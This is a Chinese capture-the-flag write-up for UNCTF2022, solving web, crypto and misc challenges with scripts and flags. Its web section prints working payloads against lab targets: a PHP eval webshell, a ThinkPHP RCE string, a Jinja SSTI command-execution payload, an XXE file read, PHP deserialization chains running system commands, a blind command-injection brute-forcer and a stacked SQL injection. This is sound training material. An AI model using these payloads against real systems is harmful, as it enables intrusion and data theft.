UNCTF2022
本文最后更新于 415 天前,其中的信息可能已经有所发展或是发生改变。

Web

我太喜欢bilibili大学了

  • 页面搜索flag

UNCTF{a29ffa65-a6ce-4631-9da0-e8e537f3bf27}

ezgame

  • Chrome打开,进入源代码,修改血量,攻击一次出flag

UNCTF{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}

签到

  • 审查元素,发现20200101,尝试后续学号,写脚本爆破
from requests import post

url = "http://e0be2f42-d33e-4724-b091-aa3c3279c43e.node.yuzhian.com.cn/index.php"

data = {
    "username": "",
    "password": "",
    "submit": "提交"
}

for i in range(20200101, 20200200):
    data['username'] = str(i)
    data['password'] = str(i)
    a = post(url, data).text.replace('\r', '').split('\n')[-3]
    print(a, end='')

UNCTF{bfff6d206cbcd6ac0870a4f48c7c313b}

babyphp

  • 访问index.php
post: a=0%00&key1=aaroZmOk&key2=aaK1STfY
get: ?code=phpinfo();

UNCTF{99hanDis_pHP_Ba_True_flag}

ez_upload

  • 发现对文件格式有过滤,利用后缀名漏洞 上传 test.png.php
<?php eval($_POST['cmd']);?>

UNCTF{2e2bfec4-55ee-40e2-bf39-99db32b3f8c7}

  • 源代码
<?php
error_reporting(0); 
// 允许上传的图片后缀
if( !isset($_FILES["file"])){
die();
}

$allowedExts = array("jpg");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);     // 获取文件后缀名

if ((($_FILES["file"]["type"] == "png"))
&& ($_FILES["file"]["size"] < 15360)   // 小于 15 kb
)
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误:: " . $_FILES["file"]["error"] . "<br>";
    }else if(mb_strpos(file_get_contents($file["tmp_name"]), "eval") !== FALSE)
    {
        echo "NO! HACKER!";
        }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";

        // 判断当前目录下的 upload 目录是否存在该文件
        if (file_exists("uplO4d/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["file"]["tmp_name"], "uplO4d/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "uplO4d/" . $_FILES["file"]["name"];
        }
    }
}
else
{
    echo "非法的文件格式";
}
?>

我太喜欢bilibili大学啦修复版

  • 访问,搜索hint,得到hint1,base64解码得 admin_unctf.php
  • 访问,打开网络,查看响应头,发现hint2,base64解码得密码unctf2022/unctf2022
  • 访问,传递cookie:cmd=cat /f*,base64 解码,https://space.bilibili.com/673907356
  • 访问,得 flag

UNCTF{this_is_so_easy}

给你一刀

  • 访问,经典RCE漏洞,直接上现成的payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

UNCTF{Y0u_A3r_so_G9eaD_hacker}

easy ssti

  • 又是一道经典题,直接上,似乎非预期?主办方设置了过滤,但是没用上
{{url_for.__globals__['os'].popen('env').read()}}

UNCTF{a1c71fdb-5b84-47b4-b77b-416f4cf7b113}

302与深大

  • 很简单的 post get 之类的,抓包之后扔掉重定向的包,按着题目要求做就行了

UNCTF{thai_miku_micgo_qka_WEB_GOD}

ezunseri

  • 简单的反序列化
<?php
class Exec
{
    public $content;
    public function __construct($content)
    {
        $this -> content = $content;
    } 
}
class Test
{
    public $test;
    public $key;
    public function __construct($test){
        $this->test = $test;
    }
} 
class Login
{
    public $code;
    public $key;
    public function __construct($code, $key){

        $this -> code = $code;
        $this -> key = $key;
    }
}
$d = new Exec("system('cat /flag');");
$d -> content = "system('cat /flag');";

$c = new Test($d);
$c -> test = $d;

$b = new Exec($c);
$b -> content = $c;

$a = new Login('3.1415926', $b);
$a -> code = '3.1415926';
$a -> key = $b;
$e = urlencode(serialize($a));
echo $e;
echo "\n";
$e = preg_replace("/Exec%22%3A1%3A/", "Exec%22%3A2%3A", $e);
echo $e;

UNCTF{ee308c59-a290-4528-aa02-bbc4af5597ae}

xxe

  • 找个payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
    <name>&xxe;</name>
</root>

UNCTF{th8s_1s_Fla9}

nodejs

  • 格式化代码
app.post('/', function(req, res) {
    var flag = 'flag';
    var admin = {};
    let user = {};
    try {
        copy(user, req.body);
    } catch (error) {
        res.send("copy error");
        return;
    }
    if (admin.id === 'unctf') {
        res.end(flag);
    } else {
        return res.end("error");
    }
})
  • 此处没有发现copy方法的定义,推断应该为实现正常合并对象的功能,获取flag的条件是admin对象的id属性为unctf,则通过js特性污染user的父类Object
{"__proto__":{"id":"unctf"}}
  • 修改MIME请求头为content-type: json得到flag

UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}

poppop

  • 简单的反序列化
<?php
class A{
    public $code = 'system("env");';
    function __construct($code)
    {
        $this -> code = $code;
    }
}

class B{
    public $key;
    function __construct($key)
    {
        $this -> key = $key;
    }
}
class C{
    private $key2;
    function __construct($key2)
    {
        $this -> key2 = $key2;
    }
}
$c = new A('system("env");');
$c -> code = 'system("env");';
$b = new C($c);
$a = new B($b);
$a -> key = $b;
$d = urlencode(serialize($a));
echo $d;
echo "\n";
$d = preg_replace('/%22B%22%3A1%3A/', '%22B%22%3A2%3A', $d);
echo $d;

UNCTF{798bf94e-5f18-4392-acfb-ad72e66756a7}

easy_rce

  • 根据读取文件得每一个字符进行爆破,爆破单个字符正确是sleep 1,写脚本(和之前的 ISCTF 很像)
import requests
import string
from urllib import parse
import time

# url = "http://f8836abe-7869-40f5-be07-bc85ce47a28c.node.yuzhian.com.cn/?code="
payload = 'if [ $(head -c num /f?ag) == string ]%0athen sleep 1%0aecho success %0afi'
# 读取 flag 文件的前 i 个字符,进行爆破
print(''.join(payload))
disc = string.digits + string.ascii_letters + "{}+-*/_"
head = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 'Connection': 'close'}

flag = ""
i = 1
while not flag.endswith('}'):
    status = False
    for j in disc:
        url = "http://75e4b7dc-280f-4c3a-9c12-bcab71872b4b.node.yuzhian.com.cn/?code="
        url += f'if [ $(head /f?ag | cut -c {i}) == {j} ]%0a then sleep 1%0a echo success%0afi'
        start_time = time.time()
        res = requests.get(url=url.replace(' ', '%20'), headers=head)
        end_time = time.time()
        if (end_time - start_time) > 1:
            status = True
            flag += j
            print(flag)
            break
    i += 1
    if status == False:
        print(flag)
        exit()

UNCTF{e84fed028b9046fc0e8f080e96e72184}

快乐三消失

  • 扫描目录,得到后台地址,/admin/login.php /admin/login.php.bak,备份文件中存在密码,(或者弱口令爆破,找到文件上传点,上传马

UNCTF{testflag}

世界和平

  • 双写绕过过滤,堆叠注入

1;seSelectlect *frFromom FFlaglag;

ez2048

  • 分析题目,填写邀请码正确才能开始游戏,合成2048方格可以得到flag
  • 于是查看js源码
  • 邀请码check片段
  • 合成2048方块成功与否check及flag输出片段
checkInvited() { 
let args = [...arguments]; 
let buf = new ArrayBuffer(24); 
const view = new DataView(buf); 
view.setUint8(0, 68); 
view.setUint8(1, 51); 
view.setUint8(2, 15); 
view.setUint8(3, 80); 
view.setUint16(4, 0x0e5d, true); 
view.setUint16(6, 0x323a, true); 
view.setUint16(8, 0x3058, true); 
view.setUint16(10, 0x1a2a, true); 
view.setUint32(12, 0x0512160d, true); 
view.setUint32(16, 0x02560002); 
view.setUint32(20, 0x130000); 
function check(code) { 
if (code.length !== 24) return false; 
let encode = []; 
for (let i = 0; i < code.length; i++) { 
if (~i % 2 === 0) { 
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i - 2)); 
} else { 
encode.push(code.charCodeAt(i) ^ code.charCodeAt(i + 1)); 
} 
} 
for (let i = 0; i < code.length; i++) { 
if (view.getInt8(i) !== encode[i]) return false; 
}
return true; 
}
return function () { 
if (!!arguments.length) { 
[].push.apply(args, arguments); 
return arguments.callee; 
}
return check(args.join("")); 
}; 
} 
// this.checkInvited(input)() 调用 
  • 分析得,首先进行js逆向,获得邀请码,游戏通过wasm导出函数_check_success判定游戏获胜与否,并 通过邀请码输出flag
class GameManager{ 
//... 
startCheck() { 
//... 
this.invitedCode = input; 
this.allocatedInvitedCode = allocate( 
intArrayFromString(this.inviteCode), 
ALLOC_NORMAL 
);
//... 
}
//... 
listenerFn(direction){ 
//... 
let result = UTF8ToString( 
_check_success(merged.value, this.allocatedInvitedCode) 
);
if (result != "false") this.gameSuccess(result); 
//... 
}
//... 
gameSuccess(result){ 
//... 
this.content.innerHTML = result; //flag 
}
//... 
}
  • ArrayBuffer内部存储着加密后的邀请码
// view.setUint16(4, xxx, true); // 此处表示数据小端存储
// 加密后:

const code = [ 
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 
0, 19, 0, 0, 
]; 
~i % 2 === 0 意味着奇变偶,偶变奇 
~1 => -2 
~2 => -3 
checkInvited() { // 柯里化,相对于直接调用了checkInvited(input) 
let args = [...arguments]; 
return function () { 
if (!!arguments.length) { 
[].push.apply(args, arguments); 
return arguments.callee; 
}
return check(args.join("")); 
}; 
}
  • 加密流程 ⇩
可以看到,偶数项加密无法找到突破口。 

而由奇数序列,发现:encoded[1] = source[1] ^ source[-1],js中数组越界为undefined,在异或操作中实 
则为0。 
 
由此,找到突破口encoded[1] = source[1]。(√为已知) 
 
而由奇数序列,encoded[3] = source[1] ^ source[3],可得source[3],依次类推可得所有奇数项。由上图偶 
数序列encoded[i] = source[i]^source[i+1],可得所有偶数项source[i]。 
解密脚本: 
const code = [ 
68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0, 
19, 0, 0, 
]; 
function decode() { 
let encode = []; 
for (let i = 1; i < code.length; i += 2) { 
encode.push( 
String.fromCharCode(code[i] ^ encode[(i - 3) / 2]?.charCodeAt(0)) 
); 
} 
for (let i = 0; i < code.length; i += 2) { 
0x02 flag 
理想难度: 
实际难度: 得到邀请码后,直接复制关键代码到控制台模拟游戏成功获得flag输出。 
encode.splice( 
i,
0,
String.fromCharCode(code[i] ^ encode[i]?.charCodeAt(0)) 
); 
}
console.log(encode.join("")); 
}
decode(); 
// 邀请码:w3lc0me_7o_unctf2022!!!! 
wasm逆向: 使用wasm-decompile对wasm进行反编译

sqlsql

  • exp
import requests
import re

def register(url, username, studentid):
    data = {
        'username': f'{username}',
        'studentid': f'{studentid}',
        'submit': '提交'

    }
    requests.post(url=url+'/register.php', data=data)

def login(url, username, studentid):
    data = {
        'username': f'{username}',
        'studentid': f'{studentid}',
        'submit': '提交'
    }
    res = requests.post(url=url+'/login.php', data=data, allow_redirects=False)
    return res.cookies

def exam(url, cookies):
    data = {
        'q1': '1',
        'q2': '1',
        'q3': '1',
        'q4': '1',
        'q5': '1'
    }
    requests.post(url=url+'/index.php', data=data, cookies=cookies)

def search_score(url, studentid, cookies):
    data = {
        'studentid': f'{studentid}'
    }
    res = requests.post(url=url+'/score.php', data=data, cookies=cookies)
    return res.text

def logout(url):
    requests.get(url=url+'/logout.php')


if __name__ == "__main__":
    url = 'http://101.43.225.132:9003'
    studentid_test = '111'
    studentid = '222'
    inject_studentid = '333'
    inject_sql = f"{studentid_test}','1','2','3','2','3');update users set studentid={inject_studentid} where username='admin';--+"

    register(url, studentid_test, studentid_test)
    register(url, inject_sql, studentid)

    cookies1 = login(url, inject_sql, studentid)
    exam(url, cookies1)
    
    cookies2 = login(url, 'admin', inject_studentid)
    res = search_score(url, inject_studentid, cookies2)
    print(re.findall(r"PPSUC{\w*}", res)[0])

Crypto

md5 1

  • exp
from hashlib import md5
from string import ascii_letters, digits

printable = ascii_letters + digits + "_{}"
content = open('out.txt', 'r').read().split()
for i in content:
    for j in printable:
        if i == md5(j.encode()).hexdigest():
            print(j, end='')

dddd

  • Morse
110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010

caesar

  • 换表凯撒,写脚本
message = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}'
SYMBOLS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

for key in range(len(SYMBOLS)):
    translated = ''

    for symbol in message:
        if symbol in SYMBOLS:
            symbolIndex = SYMBOLS.find(symbol)
            translatedIndex = symbolIndex - key

            if translatedIndex < 0:
                translatedIndex = translatedIndex + len(SYMBOLS)

            translated = translated + SYMBOLS[translatedIndex]

        else:
            translated = translated + symbol

    print('Key #%s: %s' % (key, translated))

md5 2

  • 简单异或,后一位与前一位MD5值异或,用第一位推后面, 但我用爆破的方式正面解
from hashlib import md5
from string import ascii_letters, digits

printable = ascii_letters + digits + '}'
flag = 'UNCTF{'
# x不是一个字符是n个字符

content = open('out.txt', 'r').read().split()

for _ in range(35):
    for j in printable:
        md5_ = []
        for i in flag + j:
            md5_.append(int(md5(i.encode()).hexdigest(), 16))
        b = []
        for i in range(0, len(md5_)):
            if i == 0:
                b.append(hex(md5_[i])[2:])
            else:
                b.append(hex(md5_[i] ^ md5_[i - 1])[2:])
        if b == content[:len(b)]:
            print(flag)
            flag += j

今晚吃什么

  • 下载发现 txt 内容只有10000和00000两种,根据题目联想到食物,培根替换之后解码
A  A  A  B  A  B  A  A  A  A  B  A  B  B  A  A  B  B  B  A  B  A  A  A  A  A  B  B  A  B  A  B  A  A  A  B  A  A  A  B  A  A  B  A  B  B  A  A  B  B  A  B  B  A  A

UNCTF{CRYPROISFUN}

sing table

  • 下载后根据给出的例子构造一个矩阵,将 play 四个字母放在最后
[
    B,C,D,E,F
    G,H,I,K,Ms
    N,O,Q,R,S
    T,U,V,W,X
    Z,P,L,A,Y
]
  • 仔细观察例子发现都是对角线上的字母,反解出flag

UNCTF{GOD_YOU_KNOW_PLAYFAIRX}

ezRSA

  • 一道基础RSA
from Crypto.Util.number import *
from gmpy2 import iroot, invert

n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
e = 65537
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
p = iroot(n, 4)[0]
_n = p ** 4 - p ** 3
d = invert(e, _n)
print(long_to_bytes(pow(c, d, n)))

baby RSA

  • 分析:M=((m>>60)<<60),将m后60位全化成0,m的范围(M,M+260) pow(m,e,n)=c -> me=c+k*n
  • 用m的范围,整除n来限制k的范围,从而求m
import gmpy2
from Crypto.Util.number import *
n=25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c=15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
M=11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
print((M**6)//n,((M+2**60)**6)//n)
k=114
x,y=gmpy2.iroot(c+k*n,6)
print(x,y)
m=11941439146252171444944646015445273361862078914338385912062672317789429687879409370002429378909002883709
print(long_to_bytes(m))

easy RSA

  • exp
#已知p的高312位,在sage中运行,高位爆破p
from sage.all import *
n = 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4 = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
#p4为p去除0的剩余位
e = 0x10001
pbits = 512
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:        
    p = p4+int(roots[0]) 
    print("n= "+str(n))
    print("p= "+str(p))
    print("q= "+str(n//p))
from Crypto.Util.number import *
p= 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q= 7763324082495716852870824316200424018139567206154696104953385573761033160220038511251268217230653629388520339723337700045392099450472580225771046069366909
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140 
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
phi=(p-1)*(q-1)
e=0x10001
d=inverse(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

Multi table

  • 审查一下代码,唯一不确定的就是一组 KEY,但是可以根据输出结果先爆破出 key
from string import ascii_uppercase
flag = "UNCTF"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
table = {}
for i in range(26):
    table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]
for a in range(26):
    for b in range(26):
        for d in range(26):
            for e in range(26):
                key = [a, b, d, e]
                c = ''
                x = 0
                for i in range(len(flag)):
                    if flag[i] in ascii_uppercase:
                        c += table[key[x % 4]][base_table.index(flag[i])]
                        x += 1
                    else:
                        c += flag[i]
                if c == "SDCGW":
                    print(key)
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}
  • key: [9, 15, 23, 16]
from string import ascii_uppercase

printable = ascii_uppercase + "{}_"
flag = "UNCTF{"
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']

print(base_table)

table = {}
for i in range(26):
    table[i] = ascii_uppercase[i:] + ascii_uppercase[:i]

key = [9, 15, 23, 16]
for num in range(len("MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}")):
    for s in printable:
        flag2 = flag + s
        c = ''
        x = 0
        for i in range(len(flag2)):
            if flag2[i] in ascii_uppercase:
                c += table[key[x % 4]][base_table.index(flag2[i])]
                x += 1
            else:
                c += flag2[i]
        if c == "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"[:len(c)]:
            flag += s
print(flag)

ezxor

  • https://www.ruanx.net/many-time-pad/
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def infer(index, pos):
    if msg[index, pos] != 0:
        return
    msg[index, pos] = ord(' ')
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
    for index, x in enumerate(c):
        res = [xo.strxor(x, y) for y in c if x!=y]
        f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
        cnt = [f(pos) for pos in range(len(x))]
        for pos in range(len(x)):
            dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('test.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
    infer(index, pos)

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
  • 结果
In the flood of dar'ness hdop
t. It brings comfor8, fae<d, 
e. It gives us guid-nce { in 
and gives support w$en wihmre
the moment we give 9p ho|-  w
 lives. The world w) livihen 
ting into a place o* male+i a
ere we need hope an( finhhet 
is world of fear, h#pe tchjin
 easier said than d#ne, x i m
l life of faith wil  makih`if
  • 调整几个位置的值,加上下面的代码
def know(index, pos, ch):
    msg[index, pos] = ord(ch)
    for x in range(len(c)):
        if x != index:
            msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(ch)


know(0, 19, 'k')
know(9, 19, 'o')
know(3, -3, 'a')
know(3, -4, ' ')
know(3, -5, 'e')

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
  • 结果
In the flood of darkness, hop
t. It brings comfort, faith, 
e. It gives us guidance when 
and gives support when we are
the moment we give up hope, w
 lives. The world we live in 
ting into a place of malice a
ere we need hope and find it 
is world of fear, hope to fin
 easier said than done, the m
l life of faith will make lif
  • 选取第一行与密文第一行异或得到flag
a = '''
1c2063202e1e795619300e164530104516182d28020005165e01494e0d
2160631d325b3b421c310601453c190814162d37404510041b55490d5d
3060631d325b3e59033a1252102c560207103b22020613450549444f5d
3420277421122f55067f1207152f19170659282b090b56121701405318
212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a
75222a22230877102137045212300409165928264c091f131701484f5d
21272d33661237441a7f005215331706175930254c0817091b4244011c
303c2674311e795e103a05520d300600521831274c031f0b160148555d
3c3d63232909355455300752033a17175e59372c1c0056111d01474813
752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110
396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b
'''
a = a.split()
for i in range(len(a)):
    _ = []
    for j in range(len(a[i]) // 2):
        _.append(int(a[i][j*2:(j+1)*2], 16))
    a[i] = _
a = a[0]
print(a)
b = 'In the flood of darkness, hop'
b = list(b.encode())
print(b)
assert len(a) == len(b)
for i in range(len(a)):
    print(chr(a[i] ^ b[i]), end='')

easy_lfsr

题解

  • 个除了LFSR随机数生成先后512个状态,利用矩阵快速运算
#sage
from Crypto.Util.number import *
import random
import os
length = 512
r1 = 1261758973831852037364036680281442789461569523587512977925542995725854499352478233840720068310447535900840104847512878006505600998481136843381903570688446
r2 =
R = bin(r1)[2:].rjust(length,'0') + bin(r2)[2:].rjust(length,'0')
M = []
T = []
for j in range(0, length):
    table = [int(k) for k in R[j:j + length]]
    ans = int(R[j + length])
    M.append(table)
    T.append(ans)
M = matrix(GF(2), M)
T = vector(GF(2), T)
M = M.inverse()
mask = M * T
flag = [str(i) for i in mask]
flag = int(''.join(flag),2)
print(long_to_bytes(flag))

Fermat

题解

  • 理论
费马小定理(Fermat's little theorem)是数论中的一个重要定理,在1636年提出。如果p是一个质数,而整数a不是p的倍数,则有a^(p-1)≡1(mod p)。
题目中gift为下面的x,x为下面的k。之前写的懒得改了。
x=k*(p-1),n=p*q
2^k*(p-1)=1 mod p
2^k*(p-1)-1=k*p
2^x-1=k*p
这里2^x-1是p的倍数,n也是p的倍数,他们的公因数就是p。
用gcd(2^x-1,n)=p,但是x太大了,直接计算公因数运行时间太久了。
我是这样想的p是n的因子,把2^x-1 mod n 再求公因数应该也可以吧。
下面看看证明:
2^x= 1 (mod p),即2^x = 1 + k1*p
而2^x% n = 2^x - k2n = 2^x - k2pq
两边同时% p,有2^x% n = 2^x (mod p)
所以同样有2^x % n = 1 (mod p)
什么?不想推公式,那直接看下面吧:
总结:当知道某一个数x是p-1的倍数时,就用gcd(2^x-1,n)=p,进一步gcd(pow(2,x,n)-1,n)=p。这里2可以换为其他数,只要不是p的倍数和0、1就行。
  • exp
import libnum
import gmpy2

e=0x10001
n=19793392713544070457027688479915778034777978273001720422783377164900114996244094242708846944654400975309197274029725271852278868848866055341793968628630614866044892220651519906766987523723167772766264471738575578352385622923984300236873960423976260016266837752686791744352546924090533029391012155478169775768669029210298020072732213084681874537570149819864200486326715202569620771301183541168920293383480995205295027880564610382830236168192045808503329671954996275913950214212865497595508488636836591923116671959919150665452149128370999053882832187730559499602328396445739728918488554797208524455601679374538090229259
c=388040015421654529602726530745444492795380886347450760542380535829893454552342509717706633524047462519852647123869277281803838546899812555054346458364202308821287717358321436303133564356740604738982100359999571338136343563820284214462840345638397346674622692956703291932399421179143390021606803873010804742453728454041597734468711112843307879361621434484986414368504648335684946420377995426633388307499467425060702337163601268480035415645840678848175121483351171989659915143104037610965403453400778398233728478485618134227607237718738847749796204570919757202087150892548180370435537346442018275672130416574430694059
gift=28493930909416220193248976348190268445371212704486248387964331415565449421099615661533797087163499951763570988748101165456730856835623237735728305577465527656655424601018192421625513978923509191087994899267887557104946667250073139087563975700714392158474439232535598303396614625803120915200062198119177012906806978497977522010955029535460948754300579519507100555238234886672451138350711195210839503633694262246536916073018376588368865238702811391960064511721322374269804663854748971378143510485102611920761475212154163275729116496865922237474172415758170527875090555223562882324599031402831107977696519982548567367160


# gift+x=x*p
#gift=x(p-1)

p=libnum.gcd(pow(2,gift,n)-1,n)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
flag=libnum.n2s(int(m))
print(flag)

超级加倍

题解

  • 根据题目超级加倍想到密文长度翻了四倍,因为是数字所以可猜想为四次方,对其进行开方即可,可使用网站
    • https://sagecell.sagemath.org/
  • exp
c =364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761
a = c^(1/4)
print(bytes.fromhex(hex(a)[2:]))

Today_is_Thursday_V_me_50

题解

  • 逻辑
加密函数结构还是很清晰的
两层加密,第一层是通过对`unctf`进行排列后重复与message进行异或,这个过程重复四次。
这样就经过了第一层混淆
解决这一层可以通过穷举求得
第二层通过设置了一个掩码数,掩码数`key_1=TOPIC`即是本题标题`'Today_is_Thursday_V_me_50'`
解决该层也只需要将`encrypt_2`重复一遍即可
  • exp
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from flag import flag

name = "unctf"
key1 = b'Today_is_Thursday_V_me_50'
key1_num = bytes_to_long(key1)


def decrypt_1(message,name):
    guess=[i for i in itertools.permutations(name, 5)]
    for i in range(len(guess)):
        res = message
        n1 = ''.join(x for x in guess.pop(i))
        mask = strxor(5*n1.encode(),key1)
        res = strxor(mask,message)
        for j in range(len(guess)):
            n1 = ''.join(x for x in guess.pop(j))
            mask = strxor(5*n1.encode(),key1)
            res = strxor(mask,message)
            for k in range(len(guess)):
                n1 = ''.join(x for x in guess.pop(k))
                mask = strxor(5*n1.encode(),key1)
                res = strxor(mask,message)
                for k in range(len(guess)):
                    n1 = ''.join(x for x in guess.pop(k))
                    mask = strxor(5*n1.encode(),key1)
                    res = strxor(mask,message)
                    if(b'unctf{' in res):
                        print(res)
                        return 0

Ezcry

题解

  • RC4
from Crypto.Cipher import ARC4
from libnum import n2s
enc = 28215806134317522883596419220825657511411006710664649462842055320370860932420278362078094716
key = 3544952156018063160
key = n2s(key)
enc = n2s(enc)
rc4 = ARC4.new(key)
print (rc4.decrypt(enc))

Misc

magic_word

题解

  • 0宽

syslog

题解

  • binwalk -e xxx.zip,搜索password发现base64字符
    • password is U6nu2_i3_b3St

巨鱼

题解

  • 下载文件,binwalk 分析一下,有一个压缩包
  • 有密码,再看看原图,修改图片高度,发现密码:无所谓我会出手
  • 解压得到一个txt和压缩包,没发现什么东西,压缩包放入虚拟机binwalk,又是伪加密
  • 得到png和pptx
  • png中是 H6C6Cl6 尝试 别名 666,成功进入ppt
  • 取消密码后,解压缩,直接能看到flag

In_the_Morse_code

  • 全选得到文字
UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm
+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5
46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO
WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k
5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm
+WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y
2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3
lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54
6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW
